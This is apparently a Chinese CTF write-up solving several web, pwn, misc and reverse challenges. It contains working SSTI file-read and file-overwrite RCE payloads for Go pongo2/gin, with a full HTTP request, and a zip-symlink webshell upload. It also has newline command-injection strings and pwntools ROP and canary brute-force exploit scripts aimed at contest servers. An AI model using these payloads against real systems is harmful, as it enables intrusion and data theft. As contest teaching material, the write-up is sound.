伪造session
发现自己重新搭一次环境,把guest改为admin
把cookies跑出来放进去就对了(密钥为空)
从代码中可以看到,我们把c *gin.Context
传送给模板引擎,所以在ssti时可以使用c *gin.Context
这一变量。
于是我们可以翻看pongo2文档:
https://pkg.go.dev/github.com/flosch/pongo2#section-readme
可以知道,它是完全兼容Django模板的
所以我们看Django的模板:
https://django.readthedocs.io/en/1.7.x/topics/templates.html'
看什么文档啊,还得是GPT
因此可以使用include进行文件读取
当然文档的查询方法,可以参考其他师傅的:
Django的文档
Tags
Built-in tag reference
include
上面的include可以读取文件,但现在要把文件名传进去,不能直接传引号的字符串,所以需要一个可控字符串变量。
c *gin.Context
的使用https://pkg.go.dev/github.com/gin-gonic/gin#pkg-index
因此可以得到,文件读取的payload:
{%include c.Request.Referer()%} #通过请求头的Referer
{%include c.Request.Host()%} #通过请求头的Host
{%include c.Query(c.ClientIP())%} #通过?ip\_add=/app/server.py读取
可以查看/server/app.py
得知python代码:
发现它是debug模式的,热部署(就是每次修改之后会重新编译运行一次)
于是我们覆盖/server/app.py,进行RCE
具体payload
{{c.SaveUploadedFile(c.FormFile(c.ClientIP()),c.Query(c.ClientIP()))}}
#或者
{{c.SaveUploadedFile(c.FormFile(c.Request.Host),c.Request.Referer())}}
注意:
1、python有一定要是debug模式,debug有热部署
2、命令执行输出
result = subprocess.run(\['cat', '/8c7b84719837708f8a34\_flag'\], stdout=subprocess.PIPE)
return result.stdout.decode()
3、10.0.0.5为自己的ip,可以通过模板注入{{c.ClientIP()}}查看
最后的请求包
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.ClientIP()),c.Query(c.ClientIP()))}}&10.0.0.5=/app/server.py HTTP/1.1
Host: 123.56.135.185:34466
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7IWRoUoGnVmsx4c3
User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Mobile Safari/537.36 Edg/113.0.1774.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session-name=MTY4NTE1MjUwNXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXz4a\_LGemcYTYn-el4CAu5G5Fg8dJgY-\_pbUkyM3VIfqQ==
Connection: close
Content-Length: 499
------WebKitFormBoundary7IWRoUoGnVmsx4c3
Content-Disposition: form-data; name="10.0.0.5"; filename="1.py"
Content-Type: text/x-python
import subprocess
from flask import Flask,request
app = Flask(\_\_name\_\_)
@app.route('/')
def index():
result = subprocess.run(\['cat', '/8c7b84719837708f8a34\_flag'\], stdout=subprocess.PIPE)
return result.stdout.decode()
if \_\_name\_\_== "\_\_main\_\_":
app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundary7IWRoUoGnVmsx4c3--
最后访问/flask?name=/
构造软连接:
ln -s / .binbin
zip --symlinks root.zip .binbin
上传压缩包,解压
再利用软连接.binbin,生成一个可以自动解压到 .binbin/var/www/html/binbin.php
的压缩包,binbin.php
是webshell
生成压缩包脚本:
import zipfile
zf = zipfile.ZipFile('out.zip', 'w')
fname = './shell.php'
zf.write(fname, '.binbin/var/www/html/binbin.php')
再上传,解压
过滤的符号:
/?db=bibin&table_2_dump=%00
/?db=bibin&table_2_dump=%0a
/?db=q&table_2_dump=%0awhoami%0a /?db=q&table_2_dump=%0env%0a //环境变量
要负数瓶酒来加钱买摊,之后栈溢出orw
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
mode = 0
if mode == 1:
fang = process("./shaokao")
else:
fang = remote("39.106.48.123",34543)
def debug():
gdb.attach(fang)
pause()
def pijiu(idx,num):
fang.recvuntil("> ")
fang.sendline(str(1))
fang.recvuntil("3. 勇闯天涯\n")
fang.sendline(str(idx))
fang.recvuntil("来几瓶?\n")
fang.sendline(str(num))
def chuan(idx,num):
fang.recvuntil("> ")
fang.sendline(str(2))
fang.recvuntil("3. 鸡肉串\n")
fang.sendline(str(idx))
fang.recvuntil("来几串?\n")
fang.sendline(str(num))
def yue():
fang.recvuntil("> ")
fang.sendline(str(3))
def chengbao():
fang.recvuntil("> ")
fang.sendline(str(4))
def gaming(cont):
fang.recvuntil("> ")
fang.sendline(str(5))
fang.recvuntil("烧烤摊儿已归你所有,请赐名:\n")
fang.sendline(cont)
pop_rdi_ret = 0x000000000040264f # : pop rdi ; ret
pop_rsi_ret = 0x000000000040a67e # : pop rsi ; ret
pop_rdx_rbx_ret = 0x00000000004a404b # : pop rdx ; pop rbx ; ret
pop_rcx = 0x00000000004a972b # : pop rcx ; add eax, 0x1480000 ; ret
name_addr = 0x4E60F0
open64_addr = 0x000000000457C90
read_addr = 0x000000000457DC0
write_addr = 0x000000000457E60
fopen64_addr = 0x00000000041A600
r_addr = 0x4b8785
# fopen64 .text 000000000041A600 000000F6 00000028 R . . . . . T .
# open64 .text 0000000000457C90 00000128 00000078 00000001 R . . . . . T .
# read .text 0000000000457DC0 0000009D 00000020 R . . . . . . .
# write .text 0000000000457E60 0000009D 00000020 R . . . . . . .
# gdb.attach(fang,'b *0x401FA8 ')
# pause()
pijiu(1,-9997)
chengbao()
# payload = "/flag\x00"
# gaming(payload)
payload = b"/flag\x00"
payload = payload.ljust(0x28,b'a')
payload += p64(pop_rdi_ret) + p64(name_addr) + p64(pop_rsi_ret) + p64(r_addr) + p64(fopen64_addr)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx_ret) + p64(0x30) * 2 + p64(read_addr)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx_ret) + p64(0x30) * 2 + p64(write_addr)
gaming(payload)
# debug()
fang.interactive()
fork出来的canary是一样的,爆破canary后把低位改成backdoor就可以了,改低位也要爆破一下
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
local = 1
elf = ELF('./funcanary')
def debug(cmd='\n'):
gdb.attach(p,cmd)
pause()
def pwn():
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(7):
for i in range(256):
print("the " + str(k + 1) + ": " + chr(i))
p.send('a'*0x68 + canary + chr(i))
a = p.recvuntil("welcome\n")
print(a)
if b"fun" in a:
canary += chr(i)
print("canary: " + canary)
break
# 64 8
# 32 4
# 16 2
# b *(0x555555554000 + 0x1229)
addr_base=0x0231
addr = 0x5231
addr2 = 0x5229
# payload = 'A' * 0x68 + canary + 'A' * 12 + p32(addr)
for i in range(1024):
addr=addr_base+(i%16)*0x1000
payload = 'A' * 0x68 + canary + 'A' * 8 + p16(addr).decode("unicode_escape")
p.send(payload)
now = p.recv(1024)
if b"flag" in now:
print(now)
pause()
# p.interactive()
if __name__ == "__main__":
mode = 0
while True:
if mode:
p = process('./funcanary')
else:
p = remote('39.107.137.13',20940)
try:
pwn()
p.interactive()
except:
p.close()
非预期:
跟着文档操作login,allkey,quantum,在search中能直接看到quantumStringServer的值,在check提交
最后在search中看到flag
非预期:
grep寻找flag,发现在proc/22/task/22/environ
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5
第二行url解码后作为编码表,再将第一行base64解码
在Snap! 8.2.3 (berkeley.edu)导入附件
在输入之前插入一个show variable把secret输出出来
导出之后前后异或解密
data=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
flag=''
for i in range(len(data)-1):
data[i+1]=data[i]^data[i+1]
for i in range(len(data)):
flag+=chr(data[i])
print(flag)
movfuscator混淆_mov混淆_Cherest_San的博客-CSDN博客
解mov混淆
远程动态调试,找到有点像flag的串
追踪后发现最后加了18
减上18后感觉像是异或,异或爆破后,后小写,并改成uuid格式得到flag
进入python shell,限制字符个数为7
利用python特性,下划线表示上次运行结果
填问卷拿flag
4 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!